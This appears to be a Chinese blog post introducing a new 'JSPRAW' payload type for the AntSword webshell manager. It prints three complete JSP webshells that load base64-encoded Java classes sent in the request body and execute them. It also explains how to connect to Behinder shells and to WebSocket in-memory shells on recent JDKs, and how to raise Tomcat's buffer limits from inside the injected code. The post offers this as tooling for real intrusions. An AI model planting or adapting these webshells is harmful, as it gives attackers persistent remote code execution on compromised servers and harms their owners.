背景
最近给AntSword新增了一种类型:JSPRAW,主要有以下两点改进:
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JSPRAW不再使用其他参数进行传参,同时支持key-value键值对以及raw传参形式
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新增toString触发方式,Payload可以不用依赖外部request/response对象,兼容非HTTP场景
接下来以几个实际场景讲讲这个新类型有哪些应用。
具体应用
一键连接冰蝎的JSP Shell
JSPRAW支持如下Shell写法,类似冰蝎,直接发送RAW格式的Payload。
需要注意的是这时候设置密码是不生效的,随便填即可,另外需要在设置里勾选 其他设置-Body设置为RAW模式。如果不勾选的话就是键值对传参形式,可以兼容原来的Shell写法。
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getReader().readLine();
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(new Object[]{request,response});
}
%>
此时传递的Payload形式如下
既然已经是冰蝎的传参形式了,那么我们只要配合特定的编码器,就可以直接连接冰蝎的Shell了
设置里需要勾选 Body设置为RAW模式
正常连接
抓包可以看到,蚁剑也同样实现了冰蝎的强加密能力。一个Shell,两种用法。
可以再单独写一个解码器对回显包进行二次编码,这里就不再展开
兼容非HTTP场景
在实战中我们会遇到一些非HTTP的情况,例如WebSocket内存马,WebFlux内存马,表达式注入等。因此JSPRAW做了一些改进,以兼容这类利用场景。
在Payload中增加了一个toString的调用入口,可以把执行的回显信息保存到一个字符串里并且return
只调用toString的Shell样例如下:
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getReader().readLine();
if (cls != null) {
out.print(new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance());
}
%>
正常连接
并且equals跟toString可以同时使用,equals拿到request对象后,还可以同时通过toString获取回显。
这样的写法主要是可以兼容一些漏洞利用场景,不需要每次额外去做判断。不理解的小伙伴多写几个利用EXP就明白我什么意思了。
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getReader().readLine();
if (cls != null) {
Object obj = new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance();
obj.equals(new Object[]{request,response});
out.print(obj.toString());
}
%>
正常连接
高版本JDK下的WebSocket内存马
这里举一个例子:高版本JDK下如何连接WebSocket内存马
背景是蚁剑很早就支持了WebSocket类型的内存马,在JDK<=14的时候可以用Js引擎来实现WebSocket内存马的连接Payload,但是从JDK15开始Js引擎被移除,就无法再使用了。
现在有了JSPRAW之后,WebSocket内存马就不存在高版本JDK的兼容性问题了,可以一直支持到最新的JDK22。
测试的时候还遇到了一个小坑,注入WS内存马以后连接发现只能执行第一个包,后面的包都没有回复。
debug了一番发现原因是Tomcat中WebSocke 发送信息默认长度为8kb,而后续的Payload超过了这个大小。
正常的做法是修改web.xml调大这个参数
<context-param>
<param-name>org.apache.tomcat.websocket.textBufferSize</param-name>
<param-value>5242800</param-value>
</context-param>
当然我们不可能去修改web.xml了,代码里找一下在哪里调用的,修改掉就好了
ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
container.setDefaultMaxTextMessageBufferSize(52428800); // 设置为50m
container.setDefaultMaxBinaryMessageBufferSize(52428800);
这样就可以正常连接了
最后
代码已经同步到github:https://github.com/AntSwordProject/AntSword-JSP-Template/tree/jspraw
实战是检验真理的唯一标准,你还有什么建议或者新的玩法呢?欢迎一起讨论:)
原文始发于微信公众号(网络安全回收站):AntSword新增类型:JSPRAW的一些玩法